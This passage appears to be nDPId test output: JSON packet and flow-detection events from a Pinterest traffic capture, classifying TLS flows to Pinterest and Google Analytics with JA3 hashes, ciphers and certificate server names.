+00471{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15691,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289732,"pkt_ts_usec":972740,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HIoAAAAAoAL9IMybAAACBAWgBAIIClhuYDIAAAAAAQMDBw=="} +00469{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15845,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":5669,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWkkELYhojTae5oBJXgL46AAACBAV4AQMDAwQCCArCuWtz1mJphA=="} +00456{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15850,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":5713,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4ACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNp7lBC2IbgBAB+0IeAAABAQgK1mJpssK5a3M="} +01151{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15854,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":6105,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4AiUGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNp7lBC2IbgBgB+9rPAAABAQgK1mJps8K5a3MWAwECAAEAAfwDA+FylCmx+RqDY+2Dyo1rIa8zFwFxgekrVpZ57dzQTQpcIGR5x9GwiLhejRSyDSJCULhaEPuWcuSSd\/4qtnhsMGhMACAqKhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOKigAAAAAAGQAXAAAUYXNzZXRzLnBpbnRlcmVzdC5jb20AFwAA\/wEAAQAACgAKAAiKigAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKYqKAAEAAB0AIL6rS5lo+mbnIbk9M9oSvrL6u11X7ZgUutxoF0rBS5t\/AC0AAgEBACsACwpqagMEAwMDAgMBABsAAwIAApqaAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15854,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1605289732959,"flow_last_seen":1605289733006,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38546,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"assets.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00471{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15960,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":19634,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgKAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbuwRmgG99MLvByLoBJXgOQ\/AAACBAV4AQMDAwQCCArCuWuDWG5gMg=="} +00458{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15964,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":19649,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HItoBvfUgBAB+2giAAABAQgKWG5gYcK5a4M="} +01152{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15967,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":19850,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HItoBvfUgBgB+1dmAAABAQgKWG5gYcK5a4MWAwECAAEAAfwDA\/e7AWI4IOqe24e3Dy8GtjgX\/HGd3ql+YvtlwSVKxHHMIG0UA7UP8cWM1+OIpoJabPxwYFuj3vVPyVClxgciYoq4ACAqKhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZM6OgAAAAAAHQAbAAAYd3d3Lmdvb2dsZS1hbmFseXRpY3MuY29tABcAAP8BAAEAAAoACgAISkoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClKSgABAAAdACB3ZVhMGdknHjr8mYsq4A0iDM3P9MVWSPmKERKJV0rOKQAtAAIBAQArAAsKuroDBAMDAwIDAQAbAAMCAAL6+gABAAAVAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15967,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":4,"flow_first_seen":1605289732972,"flow_last_seen":1605289733019,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200e","src_port":45126,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google-analytics.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00458{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16175,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":55452,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWkkELYhsjTam+gBALMDa6AAABAQgKwrlrnNZiabM="} +02324{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16214,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":59043,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWkkELYhsjTam+gBgLMGlkAAABAQgKwrlrn9ZiabMWAwMAUgIAAE4DAyUVKksAv4\/lvuhMg6nHjBTV1ux41E306sErrlEDriFwAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00893{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16214,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1605289732959,"flow_last_seen":1605289733059,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38546,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"assets.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02316{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16215,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":59043,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWkkELZ4cjTam+gBgLMN+tAAABAQgKwrlrn9ZiabOCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0LmluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +00457{"flow_id":35,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16218,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":59050,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4ACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNqb5BC2eHgBAB9TpSAAABAQgK1mJp58K5a58="} +00457{"flow_id":35,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16219,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":59060,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4ACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNqb5BC2zzgBAB8DTrAAABAQgK1mJp58K5a58="} +02332{"flow_id":35,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16229,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":60310,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWkkELbPMjTam+gBgLMC1rAAABAQgKwrlrn9ZiabMwADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +02027{"flow_id":35,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16230,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":60311,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWkkELcl8jTam+gBgLMCwPAAABAQgKwrlrn9ZiabN3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIBvo4IXnMESClBPBkpeIDsmAf6cIcsXcbDqb0qa7UDR4CAQBAIgt2m8ZIO8W\/A+1pUtKFDcCxG3GZoIT370SqWb3YXDiBIN4XzhNFN6u6GgyWB\/n6yWtk2gZfYIXuc7jqb5pwViO93A7ELj1dhOnR\/Iw4qUfkhNqwDnllUbqEsKYa+brudlTRn9\/Ruepu3ZoUcts7cn3tdHwScP1TfuKHUHpJXKBjrEFsjJu+7rg+weLnHUMrNIk5tNBIprZJS4d+lzX2nWkzp35AKYoh7R5PUV2GdmYfnIcw+nEZTf2O43LhBAEtbv1pxOwXdQBGK6N5HpQn\/dhZO8eSgEwsh778H\/M0H7I0X3sfByTw7cznGWVGtM3lYJr5c9KEX\/Li+mY6olzzTQWAwMABA4AAAA="} +02673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16230,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":11,"flow_first_seen":1605289732959,"flow_last_seen":1605289733060,"flow_tot_l4_data_len":6207,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":564,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38546,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"assets.pinterest.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,